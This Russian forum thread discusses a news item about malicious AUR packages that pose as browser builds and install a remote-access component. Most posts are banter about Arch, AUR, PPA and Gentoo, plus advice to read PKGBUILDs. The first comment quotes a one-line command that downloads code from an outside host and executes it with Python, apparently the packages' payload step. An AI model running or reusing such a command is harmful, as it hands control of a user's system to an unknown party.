Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных пакета"	+/–
Сообщение от opennews (??), 01-Авг-25, 22:35
В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам  firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе... Подробнее: https://www.opennet.me/opennews/art.shtml?num=63662
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+4 +/–
Сообщение от Аноним (1), 01-Авг-25, 22:35
> python -c "$(curl https://segs.lol/9wUb1Z)" LOL!
Ответить | Правка | Наверх | Cообщить модератору

2. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+14 +/–
Сообщение от Аноним (2), 01-Авг-25, 22:36
В AUR-репозитории выявлен безвредный пакет.
Ответить | Правка | Наверх | Cообщить модератору

	57. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	–2 +/–
	Сообщение от Аноним (57), 02-Авг-25, 08:51
	Aur, сами делают вирус. Чтобы выпускать багфиксы. Или что то вроде антиаирусов.
	Ответить | Правка | Наверх | Cообщить модератору

	113. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (113), 02-Авг-25, 14:33
	Кек, давно таких шизов не видел. Хоть ты и потешный, но всё-таки выпей таблетки.
	Ответить | Правка | Наверх | Cообщить модератору

	144. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:22
	> Кек, давно таких шизов не видел. Просто читай местные комментарии чаще.
	Ответить | Правка | Наверх | Cообщить модератору

	143. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:21
	Что-то вроде антиквариусов. Это как архивариусы, только без амфореусов.
	Ответить | Правка | К родителю #57 | Наверх | Cообщить модератору

3. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
Сообщение от Аноним (3), 01-Авг-25, 22:49
Вредоносных программ под Linux всё больше и больше. Но правда они чаще всего атакуют пользователей работают из-под рута.
Ответить | Правка | Наверх | Cообщить модератору

	5. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (5), 01-Авг-25, 22:52
	виноват в первую очередь сам пользователь Главное написать Не ставить ЭТОТ пакет.. и пользователь поставит. Ведь всю помойку тянут на ПК.. всю!
	Ответить | Правка | Наверх | Cообщить модератору

	48. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Anonimm (?), 02-Авг-25, 08:08
	Гениально! В винде вирусы и трояны устанавливаются из-под админа - "дырявая система", то же самое в лине - "но правда для запуска требуется рут"..
	Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

	88. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (88), 02-Авг-25, 12:04
	Надо ставить DrWeb
	Ответить | Правка | Наверх | Cообщить модератору

	100. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 12:50
	Я о двойных стандартах. То, что винду считают дырявой, но если линь делает ровно то же, то это норма..
	Ответить | Правка | Наверх | Cообщить модератору

	130. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (-), 02-Авг-25, 16:18
	Ты передёргиваешь. Линукс безопасен. Описанное в новости поведение вредителя на Windows OS делается вполне легально. Винда вполне легально делает скриншот твоего рабочего стола и отправляет его на свои сервера. И никто по этому поводу не возникает, потому что вредительство прописано в лицензионном договоре.
	Ответить | Правка | Наверх | Cообщить модератору

	145. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:26
	Не делает, если ты не захочешь. А если делает, то никуда не отправляет. У вас просто очень большие глаза. Это из-за плохих дешёвых экранов и трудночитаемых шрифтов.
	Ответить | Правка | Наверх | Cообщить модератору

	106. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (106), 02-Авг-25, 12:59
	Это - другое! ))
	Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

	146. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:26
	Особый вид местной гениальности, да.
	Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

4. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	–1 +/–
Сообщение от Аноним (5), 01-Авг-25, 22:49
Так можно туннели бекдором до SSH кидать и компом чужим управлять..
Ответить | Правка | Наверх | Cообщить модератору

	75. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 10:31
	На домашнем (и служебном) компьютере SSH делать нечего. Хотя во всех Ubuntu и его форках ставится по умолчанию. Мое личное мнение (не навязываю), что SSH - это для удаленного управления сервером.
	Ответить | Правка | Наверх | Cообщить модератору

	101. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 12:52
	А как ты собрался связываться с сервером, если на устройстве, с которого ты хочешь подключиться к серверу, ssh нет? Да уж, уровень экспертности зашкаливает.. 😆
	Ответить | Правка | Наверх | Cообщить модератору

	107. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от olelukoie (ok), 02-Авг-25, 13:20
	М-да? А если еще раз подумать? В нормальных дистрибутивах (open)ssh-client(s) и (open)ssh-server - это разные пакеты и если надо подключаться к удаленному хосту по ssh, а свой сервер поднимать не требуется, то ставится только пакет 'client'. > На домашнем (и служебном) компьютере SSH делать нечего. Хотя во всех Ubuntu и его форках ставится по умолчанию. Мое личное мнение (не навязываю), что SSH - это для удаленного управления сервером. Если есть статический IP, то ssh - удобный способ подключения к собственному домашнему компу издалека (с дачи, из командировки, с курорта и т.п.; разумеется, дома должен быть кто-то, кто этот комп включит и затем выключит). Так что наличие ssh на домашнем компе не такая уж ненужная вещь. А про рабочий комп в "офисе", если он переведен на "отечественную" ОС или любой другой Linux, то ssh - один из очень немногих способов админам управлять рабочими местами сотрудников, так что ssh-сервер тоже весьма вероятно будет нужен.
	Ответить | Правка | Наверх | Cообщить модератору

	118. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 14:49
	> ssh - удобный способ подключения к собственному домашнему компу издалека (с дачи, из командировки, с курорта и т.п.; разумеется, дома должен быть кто-то, кто этот комп включит и затем выключит) Против такого трудно что-то возразить. Ставьте, заходите. Только я бы при острой нужде подключился по RDP.
	Ответить | Правка | Наверх | Cообщить модератору

	116. "В AUR-репозитории Arch Linux выявлены ещё 3 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 14:48
	> А как ты собрался связываться с сервером, если на устройстве, с которого ты хочешь подключиться к серверу, ssh нет? Не могу представить себе бухгалтера, который в минутку для отдыха от работы в 1С решил зайти по SSH на сервер. В нормальном учреждении пользователи работают с определенным набором приложений. Всё. Об админах не говорим - там другое дело. Да, и админу нечего делать на компьютере пользователя через SSH.
	Ответить | Правка | К родителю #101 | Наверх | Cообщить модератору

6. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
Сообщение от Аноним (6), 01-Авг-25, 22:58
И что теперь делать?
Ответить | Правка | Наверх | Cообщить модератору

	7. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+13 +/–
	Сообщение от Аноним (7), 01-Авг-25, 23:10
	Читать пкгбилды аура перед запуском. Правда в мире, где половина инновационного софта ставится через curl |sudo sh , будет затруднительно отличить вирус от нормального софта.
	Ответить | Правка | Наверх | Cообщить модератору

	49. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–3 +/–
	Сообщение от Anonimm (?), 02-Авг-25, 08:11
	> Читать пкгбилды Нормальные системы ставятся через "Далее" и только в лине для установки программ нужно быть ещё и программистом..
	Ответить | Правка | Наверх | Cообщить модератору

	64. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (64), 02-Авг-25, 09:25
	Для быта Линукс даже не мёртв, а не зачат.
	Ответить | Правка | Наверх | Cообщить модератору

	78. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 10:40
	Разработанные мной программы под Linux ставятся, как Вы выразились, через "Далее" с помощью InstallJammer.
	Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

	147. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:30
	Что за программы? Хочу поставить. Хотелось бы получить полный список со ссылками.
	Ответить | Правка | Наверх | Cообщить модератору

	89. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:04
	Так Арч не для домохозяек, а для опытных Линукс пользователей, с разморозкой.
	Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

	102. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 12:53
	А вот и разделение на сорта подъехало..
	Ответить | Правка | Наверх | Cообщить модератору

	114. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 14:41
	Так зайди на офф сайт арча и почитай об этом! Писать все горазды.
	Ответить | Правка | Наверх | Cообщить модератору

	148. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:37
	Я домохозяин. Несколько лет на Арче сидел. Ничем принципиально не отличается от Убунты, кроме того, что всё-таки нужно почитать мануалы и больше печатать в терминале. Да и то, это больше касается процесса установки, чем последующего повседневного использования. А так, что тот линукс, что этот на десктопе как на корове седло.
	Ответить | Правка | К родителю #89 | Наверх | Cообщить модератору

	90. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (88), 02-Авг-25, 12:06
	Установить антивирус. Во всех нормальных магазинах приложений для Андроид есть встроенный.
	Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

	103. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 12:54
	Какая взаимосвязь между pkgbuild и Android?
	Ответить | Правка | Наверх | Cообщить модератору

	149. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от кантикариус (?), 02-Авг-25, 20:39
	Прямая. Андроид - это линукс? Или нет?
	Ответить | Правка | Наверх | Cообщить модератору

	16. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от НяшМяш (ok), 02-Авг-25, 00:12
	Клонить репы себе на машину, удалять .git, проверять PKGBUILD и самому поддерживать. Иногда даже получается проще, потому что меинтейнеры оригинальных пакетов часто слоупочат версии обновлять.
	Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

	26. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (113), 02-Авг-25, 02:33
	В дополнение к вышеупомянутому ОБЯЗАТЕЛЬНОМУ чтению PKGBUILD'ов. Наверное не ставить пакеты с идиотскими названиями, от васяна с нулевым аккаунтом. А также заглядывать в комментарии AUR странички, главное, чтобы они тоже не были идиотскими, от васяна с нулевым аккаунтом.
	Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

	28. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Bottle (?), 02-Авг-25, 02:50
	Читать исходники? Поборники свободы сами что-то не желают ей пользоваться на постоянке - они хотят, чтобы за них работали БЕСПЛАТНО.
	Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

	50. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 08:12
	Интересно, а для андроида и айфона они тоже исходники читают? Вспомнил - ведь "это другое".. 😆
	Ответить | Правка | Наверх | Cообщить модератору

	59. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от dannyD (?), 02-Авг-25, 08:58
	сходи на f-droid почитай.
	Ответить | Правка | Наверх | Cообщить модератору

	91. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:06
	Потому-то здесь троллей и навалом, ибо не понимают разницы между виндой и дистрибутивами Линукс.
	Ответить | Правка | К родителю #28 | Наверх | Cообщить модератору

	104. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Anonimm (?), 02-Авг-25, 12:56
	> не понимают разницы между виндой и дистрибутивами Линукс. Как выяснилось - никакой..
	Ответить | Правка | Наверх | Cообщить модератору

8. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–17 +/–
Сообщение от zionist (ok), 01-Авг-25, 23:13
Arch всё больше и больше демонстрирует свою никчёмность для хоть сколько нибудь серьёзного использования.
Ответить | Правка | Наверх | Cообщить модератору

	9. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (9), 01-Авг-25, 23:18
	В аур пакеты проверяются сообществом и исходники открыты, что снижает риски. А вот что творится в сторонних пользовательских репозиториях других систем, например в PPA у Ubuntu, часто остаётся за кадром-- там тоже может быть что угодно. Разница лишь в прозрачности
	Ответить | Правка | Наверх | Cообщить модератору

	13. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–6 +/–
	Сообщение от Аноним (13), 01-Авг-25, 23:34
	>снижает риски Снижають, снижають, милок, не боись! Новость читал?
	Ответить | Правка | Наверх | Cообщить модератору

	15. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+6 +/–
	Сообщение от Аноним (9), 02-Авг-25, 00:05
	снижают, но не исключают. бабуль, ложись спать
	Ответить | Правка | Наверх | Cообщить модератору

	29. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
	Сообщение от Ubuntoid (?), 02-Авг-25, 04:44
	Врать нехорошо! Можно спокойно посмотреть исходник конкретного пакета из PPA. То что ты не знаешь как посмотреть нужную информацию и при этом что-то пишешь - это уже клиника.
	Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

	34. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 05:40
	1) ты копируешь команду с лаунчпада и запускаешь у себя, кому ты тут пытаешься мозги пудрить? 2) ты качаешь бинари с лаунчпада, какая вообще разница, что там в рецептах сборки?
	Ответить | Правка | Наверх | Cообщить модератору

	84. Скрыто модератором	–1 +/–
	Сообщение от Аноним (84), 02-Авг-25, 11:51
	Научись читать и понимать прочитанное!
	Ответить | Правка | Наверх | Cообщить модератору

	76. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (76), 02-Авг-25, 10:31
	понадобилось как-то пересобрать пакет из сторонних реп, так там даже их патчи не наложились, потому что были от другой версии. Посмотреть исходник могу, а собрать не могу. А они могут, но явно не с теми патчами, что распространяют
	Ответить | Правка | К родителю #29 | Наверх | Cообщить модератору

	51. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Anonimm (?), 02-Авг-25, 08:15
	> исходники открыты То есть простой пользователь (а линь ведь так и рекламируют) должен быть ещё и программистом? Неудивительно, что у вас 4% фанатов..
	Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

	122. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (113), 02-Авг-25, 15:08
	Чтобы посмотреть в PKGBUILD куда ведут ссылки на исходники/бинари, не нужно быть программистом. Достаточно не быть идиотом.
	Ответить | Правка | Наверх | Cообщить модератору

	123. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от zionist (ok), 02-Авг-25, 15:17
	> Чтобы посмотреть в PKGBUILD куда ведут ссылки на исходники/бинари, не нужно быть > программистом. Достаточно не быть идиотом. Вот идиоты и составляют большинство Arch комьюнити.
	Ответить | Правка | Наверх | Cообщить модератору

	125. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (113), 02-Авг-25, 15:20
	Подкрепил бы свой наброс статистикой что ли. Ах, да ты же его из своих влажных фантазий выудил.
	Ответить | Правка | Наверх | Cообщить модератору

	127. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от zionist (ok), 02-Авг-25, 15:22
	> Подкрепил бы свой наброс статистикой что ли. Ах, да ты же его > из своих влажных фантазий выудил. Мне было достаточно опыта личного общения с их токсичным сообществом.
	Ответить | Правка | Наверх | Cообщить модератору

	79. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от Аноним (75), 02-Авг-25, 10:43
	> например в PPA у Ubuntu, часто остаётся за кадром-- там тоже может быть что угодно Конечно, может, и не остается за кадром, а выпячивается. Deadbeef, например. Более того, он в некоторых дистрибутивах ставился по умолчанию, и этот мусор вместе с его репами и другим мусором приходилось вычищать после установки.
	Ответить | Правка | К родителю #9 | Наверх | Cообщить модератору

	11. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+6 +/–
	Сообщение от Аноним (11), 01-Авг-25, 23:31
	Аур это такой же арч, как ppa дебиан.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	17. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
	Сообщение от НяшМяш (ok), 02-Авг-25, 00:13
	Аур лучше, исходники прямо в вебморде можно посмотреть. Как там у ппа с отображением рецепта сборки?
	Ответить | Правка | Наверх | Cообщить модератору

	80. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (75), 02-Авг-25, 10:48
	Вы знаете, ppa все-таки лучше snap. Недавно попробовал поставить Nextcoud при установке сервера Ubuntu. Поковырявшись час с настройками (настройки SQL, память для PHP, файловое хранилище на нестандартных пользовательских ресурсах), снес его вместе со snap, и без проблем установил с сайта разработчика.
	Ответить | Правка | Наверх | Cообщить модератору

	27. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от penetrator (?), 02-Авг-25, 02:40
	а в арче без AUR можно жить? кстати что там с Packman ему можно доверять?
	Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

	54. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (54), 02-Авг-25, 08:43
	>а в арче без AUR можно жить? Можно, иногда надо будет дружить с git. >кстати что там с Packman ему можно доверять? Что еще за Packman? Нет в Арче никакого Packman.
	Ответить | Правка | Наверх | Cообщить модератору

	83. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от penetrator (?), 02-Авг-25, 11:34
	конечно нету это SUSE второй вопрос про репу а не про арч
	Ответить | Правка | Наверх | Cообщить модератору

	66. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (64), 02-Авг-25, 09:28
	Он точки поедает.
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	68. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (68), 02-Авг-25, 09:39
	>а в арче без AUR можно жить? А зачем вообще эта помойка нужна? Поставить какую-то хипстоту? У меня вот только оф.репы, хватает всего с головой. Что не так?
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	129. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (54), 02-Авг-25, 16:03
	>А зачем вообще эта помойка нужна? Поставить какую-то хипстоту? У меня вот только оф.репы, хватает всего с головой. Что не так? В AUR есть всякие специфические драйвера, которые ставятся оттуда без особого гугления. В AUR есть софт, отсутствующий в офрепах, например plex-media-server, или тот же firefox-esr. Ну и по теме, то что обнаружили заразу через несколько часов - играет только в плюс. Есть продукты, где такое сидит годами.
	Ответить | Правка | Наверх | Cообщить модератору

	109. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (109), 02-Авг-25, 14:14
	>кстати что там с Packman ему можно доверять? Прецедентов не было. Но англоязычное сообщество в ТГ не рекомендует. Там за flatpak топят.
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	117. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от ProfessorNavigator (ok), 02-Авг-25, 14:48
	> а в арче без AUR можно жить? Да, без проблем. Или самому PKGBUILDы писать, или просто из исходников ставить. Можно и без этого обойтись - в официальных репозиториях в принципе есть много чего.
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	31. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 05:15
	> zionist всё больше и больше демонстрирует свою никчёмность для хоть сколько нибудь серьёзного использования поправил
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	124. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–1 +/–
	Сообщение от zionist (ok), 02-Авг-25, 15:19
	>> zionist всё больше и больше демонстрирует свою никчёмность для хоть сколько нибудь серьёзного использования > поправил Используют холопов, вроде тебя. Поэтому не проецируй своё холопское на нормальных людей.
	Ответить | Правка | Наверх | Cообщить модератору

	131. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 17:13
	рабам слова не давали, иди работай
	Ответить | Правка | Наверх | Cообщить модератору

	71. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (71), 02-Авг-25, 10:15
	Valve использует Arch - УЖЕ на нём зарабатывают деньги! KDE к нему присматриваются.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	98. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
	Сообщение от Аноним (57), 02-Авг-25, 12:37
	> Valve использует Arch - УЖЕ на нём зарабатывают деньги! KDE к нему присматриваются. 1xBet
	Ответить | Правка | Наверх | Cообщить модератору

	92. Скрыто модератором	+/–
	Сообщение от Пояснительная бригада (?), 02-Авг-25, 12:09
	Чукча не читатель, чукча - писатель? Очередной клоун.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	126. Скрыто модератором	+/–
	Сообщение от zionist (ok), 02-Авг-25, 15:20
	> Чукча не читатель, чукча - писатель? Очередной клоун. Здравствуй клоун
	Ответить | Правка | Наверх | Cообщить модератору

10. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–5 +/–
Сообщение от freeperson (?), 01-Авг-25, 23:30
Arch стал уже стал попсой, как винда, что его таргетят кулхацкеры ежедневно. AUR это та ещё помойка, где никто не проверяет ничего. Чувакам "I use arch btw": ставьте Слаку или Gentoo, и будет вам счастье.
Ответить | Правка | Наверх | Cообщить модератору

	14. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (14), 02-Авг-25, 00:04
	Гентушникам тоже ухо держать востро в отношении к оверлеям.
	Ответить | Правка | Наверх | Cообщить модератору

	32. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 05:29
	разумеется, но: 1) гентушников тупо меньше и оверлеи им нужны гораздо реже, чем AUR на арче, и для настолько специфичного софта, что пропихивать туда малварь тупо не окупится 2) это гента со всеми вытекающими, поди заставь свою попсовую малварь там работать: у кого-то musl, у кого-то openrc, у кого-то, прости господи, шланг, даже версии питона у всех разные
	Ответить | Правка | Наверх | Cообщить модератору

	58. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от dannyD (?), 02-Авг-25, 08:53
	>>гентушников тупо меньше это с какого пальца? может чем бубунтят и меньше,но с рачеводами я бы еще сильно поспорил.
	Ответить | Правка | Наверх | Cообщить модератору

	72. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 10:25
	да тупо судя по количеству попсовых пакетов. поди попробуй собери хоть один слайсер на генту, хоть оверлеями, хоть без мне пришлось вырезать половину месы, чтобы кура запустилась
	Ответить | Правка | Наверх | Cообщить модератору

	85. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от dannyD (?), 02-Авг-25, 11:54
	>>да тупо судя по количеству попсовых пакетов. ошибка статистической выборки. ну не надо гентушникам это, я вот даже не знаю о чем вы, коллега.
	Ответить | Правка | Наверх | Cообщить модератору

	140. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (140), 02-Авг-25, 19:52
	куры нет в репе 24.04 LTS - я немного охренел от такого (в дебиане то все есть), пришлось собрать из более младшенького - работает... но вот от того куда скатился "самый человечный десктоп дистр" я немного удивился...
	Ответить | Правка | К родителю #72 | Наверх | Cообщить модератору

	24. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
	Сообщение от Аноним (113), 02-Авг-25, 02:16
	> AUR это та ещё помойка, где никто не проверяет ничего. > Вредоносный пакет был удалён администраторами AUR через несколько часов после появления. Держи в курсе. > ставьте Слаку или Gentoo, и будет вам счастье. Не ставьте свое "ненужно", ставьте мое "ненужно"!!!1!1
	Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

	33. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от 12yoexpert (ok), 02-Авг-25, 05:33
	поддерживаю как гентушник, лет 7 сидевший на арче
	Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

	141. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (141), 02-Авг-25, 19:52
	> Чувакам "I use arch btw": ставьте Слаку или Gentoo, и будет вам счастье. Я выбирал между Слакой и Арчем. От Слаки отказался только из-за отсутствия отслеживания зависимостей пакетов. Думал про Генту или ЛФС, но там читать слишком много, я хоть и безработный на сегодняшний день, но времени на это не хватает.
	Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

20. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
Сообщение от Аноним (20), 02-Авг-25, 01:02
AUR удобно использовать как источник готовых инструкций для сборки пакетов которых нет в BLFS.
Ответить | Правка | Наверх | Cообщить модератору

38. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+2 +/–
Сообщение от Аноним (38), 02-Авг-25, 06:07
Чем это отличается от npm?
Ответить | Правка | Наверх | Cообщить модератору

41. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+1 +/–
Сообщение от Анониматор (?), 02-Авг-25, 07:10
Это всё Манждаро виноват. Понаставят pamac-aur и всё, считают что AUR это часть Арча, прозрачная установка "из магазина". Хотя уже много где в сети написано что они дурачье и не надо делать так. Но если кому-то нравится рисковать - это конечно ваше дело, но не надо свои проблемы триангулировать на всех
Ответить | Правка | Наверх | Cообщить модератору

	46. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–4 +/–
	Сообщение от ЖИРОПЕРДЯСТИК (?), 02-Авг-25, 07:55
	> считают что AUR это часть Арча Так убери у Арча AUR и он превратится в маргинальный дистрибутив, которым пользуются три калеки. А если AUR использовать, то это ЗверьCD скачай бесплатно без SMS.
	Ответить | Правка | Наверх | Cообщить модератору

	47. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	+/–
	Сообщение от Аноним (47), 02-Авг-25, 08:05
	ты назвал маргинальщиной такие дистрибутивы как RHEL с клонами и многими другими. Они тоже без епеля (ppa и т.д.) ничто. AUR скорее всего уйдет в тень, потому что тенденция всё недостающее ставить из флатхаба, а это по наполнению тоже как говорится "найди 3 отличия от AUR", так что Арч и тут не выделяется среди других "маргинальностью"
	Ответить | Правка | Наверх | Cообщить модератору

42. "В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных паке..."	–2 +/–
Сообщение от ЖИРОПЕРДЯСТИК (?), 02-Авг-25, 07:10
Да изначально было понятно, что AUR - это помойка. Любой Васян туда может прийти и понапихать бэкдоров в пакеты.
Ответить | Правка | Наверх | Cообщить модератору

